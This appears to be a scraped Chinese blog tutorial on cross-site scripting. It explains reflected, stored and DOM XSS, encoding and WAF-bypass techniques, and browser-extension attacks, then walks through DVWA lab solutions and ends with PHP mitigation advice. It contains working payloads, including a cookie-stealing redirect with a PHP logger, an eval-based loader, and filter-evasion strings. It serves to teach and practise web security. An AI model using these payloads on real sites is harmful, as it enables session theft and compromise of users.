XSS

XSS

參考網址javascript

XSS原理

測試代碼php

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重現</title>
</head>

<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你輸入的字符爲<br>' . $xss;
?>
</body>

</html>

輸入框輸入的值會被輸出,因此咱們就輸入script標籤,就能夠實現XSS。測試能夠用firefox,chrome有XSS Auditor,之後能夠學一下怎麼繞過。css

固然XSS不都是這麼簡單,須要利用輸出環境來構造代碼。html

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用輸出的環境來構造代碼</title>
</head>

<body>
<center>
<h6>把咱們輸入的字符串 輸出到input裏的value屬性裏</h6>
<form action="" method="get">
<h6>請輸入你想顯現的字符串</h6>
<input type="text" name="xss_input_value" value="輸入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if (isset($xss)) {
echo '<input type="text" value="' . $xss . '">';
} else {
echo '<input type="type" value="輸出">';
}
?>
</center>
</body>

</html>

輸入的字符串輸出到另外一個字符串,對於這段代碼,咱們能夠輸入">來閉合前面的input標籤,從而執行後面的js。而原來用來閉合的">會做爲多餘的字符串輸出,看着不美觀。咱們就能夠經過其餘方法執行,好比標籤的屬性。使用on事件進行xss," onmousemove="alert('xss')java

總之,XSS就是想盡辦法在頁面上執行js。git

分類

0x01 反射型XSS

Hacker——發現存在反射XSS的URL——根據輸出點的環境構造XSS——編碼、縮短——發送給受害人——受害人打開,執行XSS——實現功能(獲取cookie、url、瀏覽器信息、IP等)github

能夠經過軟件挖XSS,手工的話就針對對話框、數據包、url參數、js分析等方面。web

0x02 存儲型XSS

存儲型XSS把數據保存到服務端,而反射型只是讓XSS遊走在客戶端上。ajax

此類XSS不須要用戶單擊特定URL就能執行跨站腳本,攻擊者事先將惡意代碼上傳或儲存到漏洞服務器中,只要受害者盧蘭包含此惡意代碼的頁面就會執行惡意代碼。通常出如今網站留言、評論、博客日誌等交互處,惡意腳本存儲到客戶端或服務端的數據庫中。chrome

0x03 DOM XSS

DOM-Based XSS基於DOM文檔對象模型的,它不須要與服務端進行交互,像反射、存儲都須要服務端的反饋來構造XSS,由於服務端對咱們是不可見的,就像通常都是搶客戶不是搶銀行,固然你要是搶銀行那你是真的。

客戶端js能夠訪問瀏覽器的DOM,所以可以決定用於加載當前頁面的URL,也就是js能夠經過DOM動態地檢查和修改頁面內容,它不依賴於服務器端的數據,而從客戶端得到DOM的數據(如從URL中提取數據)並在本地執行。另外一方面,瀏覽器用戶能夠操縱DOM中的一些對象,例如URL、Location等。用戶在客戶端輸入的數據若是包含了惡意js,未通過過濾的話就會有DOM XSS。

<html>
<head>
<title>DOM-XSS test</title>
</head>
<body>
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
</body>
</html>

這段代碼會截取輸入的URL的a=後的子串,輸出到頁面上,當咱們輸入js代碼時就會觸發DOM XSS。

An easy sample

修改URL參數的時候,看到的只是GET傳輸的數據,POST表單的數據是在數據包裏。

php獲取IP通常就三個函數:HTTP_CLIENT_IPHTTP_X_FORWARDED_FORREMOTE_ADDR,前兩個都是能夠僞造的,能夠修改數據包。

測試網站www.ip138.com,它能夠獲取客戶端IP。

在burp裏抓包,添加一行X-Forwarded-For,後面的字段就是IP地址,隨便輸入一個,再放過,就看到網頁上顯示了僞造的IP。將IP替換爲js,就實現了XSS:

Amazing! 真有意思

技巧篇

0x01 第三方劫持(外調J/C)

「第三方劫持」就是把資源域的服務器的權限拿下,替換相關資源,採用「迂迴式」的滲透方式。

for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){
var a = document.createElement('a');
a.href = tag.src||tag.href||tag.data;
if(a.hostname!=location.hostname){
console.warn(location.hostname+' 發現第三方資源['+tag.localName+']:'+a.href);
}
}

這段代碼能夠獲取非本站的J/C,以後就能夠對目標進行滲透,重寫J/C。

0x02 XSS Downloader

就是把反射和存儲結合起來,把核心代碼寫在網站上,而後以XSS觸發並調用代碼實現攻擊。

<!--Ajax.html-->
<html>

<head>
<title>ajax</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
request_text = xmlhttp.responseText;
var a = request_text.indexOf("fortst") + 6;
var b = request_text.indexOf("tstrof");
eval(request_text.substring(a, b));
}
}
xmlhttp.open("POST", "ajax.txt", "true");
xmlhttp.send();
</script>
</boby>

</html>

這段代碼會獲取ajax.txt中指定位置的子串,而後以eval的形式運行。

假設網站的留言板存在反射XSS,能夠構造on事件,運行

eval(document.boby.innerHTML.substring(document.boby.innerHTML.indexOf('fortst')+6,document.boby.innerHTML.indexOf('tstrof')));

這樣就能夠執行留言內容中的js,固然能夠用正則匹配。

<html>

<head>
<title>ajax+正則匹配</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
request_text = xmlhttp.responseText;
var text = request_text.match(/fortst(.*)tstrof/i);
eval(text[1]);
}
}
xmlhttp.open("POST", "ajax.txt", "true");
xmlhttp.send();
</script>
</boby>

</html>

編碼與繞過

0x01 URL編碼

URL只容許使用US-ASCII字符集中可打印的字符(0x20-0x7E),其中某些字符在HTTP協議裏有特殊的意義,因此有些也不能使用。這裏須要注意的,+加號表明URL編碼的空格,%20也是。

URL編碼最多見的是在用GET/POST傳輸時,將字符轉爲十六進制。

0x02 unicode編碼

Unicode有1114112個碼位,也就是說能夠分配這些個字符,編碼的字符已%u爲前綴,後面是這個字符的十六進制的碼點。有的站點過濾了某些字符串,可是發現這個站點在後端驗證字符的時候,識別unicode編碼,就能夠用unicode繞過過濾機制。

0x03 HTML編碼

HTML編碼的存在就是讓它在代碼中和顯示中分開,避免錯誤。它的命名實體:構造是&加上希臘字母,字符編碼:構造是&#加十進制、十六進制ASCII碼或unicode編碼,並且瀏覽器解析的時候會先把HTML編碼解析而後進行渲染。但有個前提就是必需要在值裏。

0x04 CSS編碼

不經常使用,就是/斜槓加上1-6位十六進制,大可能是用於CSS小圖標。

0x05 常見的繞過方式

<sCrIpt>alert(1)</script>是忽然
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
<scr<script>ript>alalertert</scr</script>ript> (須要利用waf的不完整性)
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
標籤屬性=」javascript:js_code" 只對支持js僞協議的屬性起做用
<標籤 on事件=「js_code">
<script
woaini>
alert(123)
</script
woaini>
瀏覽器會把換行或TAB符當成空格,把後面的字符看成屬性來解析

0x06 插件安全

插件渲染到頁面的過程:

用戶打開網站—發送數據包—服務器響應併發送Response包—瀏覽器受到Response包—渲染(先渲染Response包,再渲染插件的代碼)

也就是在插件中寫了一段js,那麼用戶安裝後,凡打開網站,瀏覽器渲染後,就能夠獲取用戶的cookie,若是攻擊者事先有準備,還能夠利用csrf攻擊。

  • 假設1:攻擊者把XSS代碼封裝到插件裏,上傳到瀏覽器插件下載網址(管理不嚴),上傳成功後。用戶下載安裝。GG
  • 假設2:攻擊者擁有dedecms的scrf(能夠添加管理員),當網站管理員安裝或使用帶有插件的瀏覽器,網站就GG。
  • 假設3:攻擊者擁有某個瀏覽器插件的XSC漏洞,再結合插件安全問題,就能夠實現用戶打開某個網站,就會被不知不覺中安裝插件。經過插件能夠實現隱蔽式的攻擊。

黑客發現插件調取的API網站安全漏洞—重寫了發送的數據包—插件獲取被重寫API數據—解析

如何繞過WAF:

0x01 直視WAF

一些簡單的繞過方法

  • 大小寫轉換法:
SQL: sEleCt vERsIoN();
XSS: <sCrIpt>alert(1)</scRiPt>
  • 干擾字符污染法:

空字符、空格、TAB、換行、註釋、特殊的函數,利用網站使用的語言函數特性繞過waf的規則或使用會無視的字符。

  • 字符編碼法:

對一些字符進行編碼,常見的SQL編碼有unicode、HEX、URL、ascii、base64等,XSS編碼有:HTML、URL、ASCII、JS編碼、base64等。

利用瀏覽器上的進制轉換或語言編碼規則來繞過waf。

  • 拼湊法:

若是過濾了某些字符串,能夠在構造:

SQL: selselectect verversionsion();
XSS: <scr<script>ript>alalertert</scr</script>ipt>

利用waf的不完整性,只驗證一次字符串或過濾的字符串並不完整。

0x02 Webkit

webkit下的解析器——詞法分析器,繞過的時候它來完成。

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe> <!--這個能夠彈窗-->
<iframe src=java
script:alert(1); height=0 width=0 /><iframe> <!--這個不能夠彈窗-->

回車、換行只在屬性中引號裏纔會起做用。

0x03 從HTTP數據包提及

  • 有一部分網站waf是部署在客戶端上的,利用burp、fiddler就能夠輕鬆繞過。
  • 有的網站對百度、google等爬蟲請求並不過濾,這時咱們就能夠再USER-Agent僞造本身是搜索引擎的爬蟲,繞過waf。
  • 有的網站使用$_REQUEST接收get post cookie參數,這時若是waf只對get post參數過濾了,那麼就能夠在數據包裏對cookie進行構造攻擊代碼,來實現繞過waf。
  • 有的waf對get post cookie都過濾了,還能夠進行繞過。假設網站會顯示你的IP或者你使用的瀏覽器,那麼你就能夠對IP、user-agent進行構造,在php中X-Forwarded-For和HTTP-Client-IP兩個獲取IP的函數均可以被修改,前面已經進行了對www.ip138.com的xss。

0x04 WAF算個錘子

前面也說過,能夠利用第三方插件進行攻擊,由於它的權限高,能夠跨域。

DVWA XSS

Reflected

Low

輸入的內容會顯示在下面Hello後面,輸入<script>alert(/xss/)</script>,彈窗成功。

<!--payload-->
<script>document.location='http://127.0.0.1/get_cookie.php?cookie='+document.cookie;</script>
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie)
?>
Medium
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

一次過濾能夠大小寫或雙寫繞過。

High
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

script被全面封殺,能夠用img標籤

<!--payload-->
<img src='x' onerror=alert(/xss/) />
Impossible
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

htmlspecialchars函數將代碼轉爲HTML編碼格式,是真的nb。

不過當在script、input標籤中時,便可突破。

<!--payload-->
' oninput=alert(/xss/) '
$name = htmlspecialchars( $_GET[ 'name' ] );
$html .= "<input type='text' value=' ${name}'>";

Stored

Low

要求輸入name和message,輸入的值會輸出到下面,name有長度限制,在message中直接<script>alert(/xss/)</script>,sign,成功。能夠用burp改包突破長度限制。

Medium
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );

message過濾得很nb,用burp改name就好了。

High
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name )

message仍是上面的,name這裏封殺了script,用img

<!--payload-->
<img src='x' onerror=alert(/xss/) />
Impossible

message和name都是過濾,沒辦法。

DOM

Low

沒有進行任何過濾,直接?default=<script>alert(/xss/)</script>就行。

Medium
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");

用img標籤,輸入<img src='x' onerror=alert(/xss/)>獲得

<option value="%3Cimg%20src=1%20onerror=alert%28%27hack%27%29%3E"></option>

發現填入了屬性,那就先閉合option標籤,而後再閉合前面的select標籤,

<!--payload-->
"></option></select><img src='x' onerror=alert(/xss/) >
High

php用的是白名單,網上帶哥說是能夠用#截斷,後面的內容不會被提交到服務器,能夠直接與瀏覽器交互。

<!--payload-->
English#<script>alert(/xss/)</script>

XSS 漏洞修復

XSS漏洞的原由就是沒有對用戶提交的數據進行嚴格的過濾處理,修復XSS漏洞就在於如何更好的將用戶提交的數據進行安全過濾。

HTML實體

在HTML中有些字符像<,對HTML有特殊意義,要顯示這些字符,必須使用實體字符。

HTML實體的存在是致使XSS漏洞的主要緣由之一。

所以須要將這些實體所有轉換爲相應的實體編號。

顯示 實體名稱
' ' &nbsp;
< &lt;
> &gt;

| & | &amp; |
| " | &quot; |
| ' | &apos; |

HTML Encode

用戶將數據提交上來的時候進行HTML解碼,將相應的符號轉換爲實體名稱再進行下一步的處理。

在PHP中已經存在這樣子功能的函數,即htmlentities($str)函數。

與之相反的就是html_entity_decode($str)函數,它將實體名稱轉換爲相應的符號。

修復漏洞方針

過濾過濾過濾!

  1. 將重要的cookie標記爲http only,這樣js中的document.cookie語句就不能獲取到cookie。
  2. 表單數據規定值的類型,例如name只能爲字母數字組合。。。
  3. 對數據進行HTML Encode處理
  4. 過濾或移除特殊的HTML標籤,例如<script>,<iframe>,$lt; for <, $gt; for >,$quot for "
  5. 過濾js事件的標籤,例如onclick=, onfocus=等等。

PHP中的相應函數

funtions 功能
strip_tags(\(str, [容許標籤]) | 從字符串中去除 HTML 和 PHP 標記 | | htmlentities(\)str) 轉義html實體
html_entity_decode(\(str) | 反轉義html實體 | | addcslashes(\)str, ‘字符’) 給某些字符加上反斜槓
stripcslashes(\(str) | 去掉反斜槓 | | addslashes (\)str ) 單引號、雙引號、反斜線與 NULL加反斜槓
stripslashes($str) 去掉反斜槓
htmlspecialchars() 特殊字符轉換爲HTML實體
htmlspecialchars_decode() 將特殊的 HTML 實體轉換回普通字符

作了一下闖關小遊戲,大多數xss的原理仍是比較簡單的。

XSS之同源策略與跨域訪問

同源策略

在這個策略下,web瀏覽器容許第一個頁面的腳本訪問第二個頁面的數據,可是也只有在兩個頁面有相同的源時。源是由URI、主機名、端口號組成的。這個策略能夠阻止一個頁面上的惡意腳本經過頁面的DOM對象得到訪問另外一個頁面上敏感信息的權限。

源決定規則

對於絕對的URIs,源就是{協議、主機、端口}定義的,只有這些值徹底同樣才認爲兩個資源是同源的。

不受同源策略限制的:
  1. 頁面中的連接、重定向以及表單提交是不會受到同源策略限制的。
  2. 跨域資源的引入是能夠的,可是js不能讀寫加載的內容。如嵌入到頁面的<script src="...">, <img>, <link>, <iframe>等。

跨域訪問

瀏覽器從一個域名的網頁請求另外一個域名的資源時,域名、端口、協議任一不一樣,都是跨域。

如何解決跨域問題

相關文章
相關標籤/搜索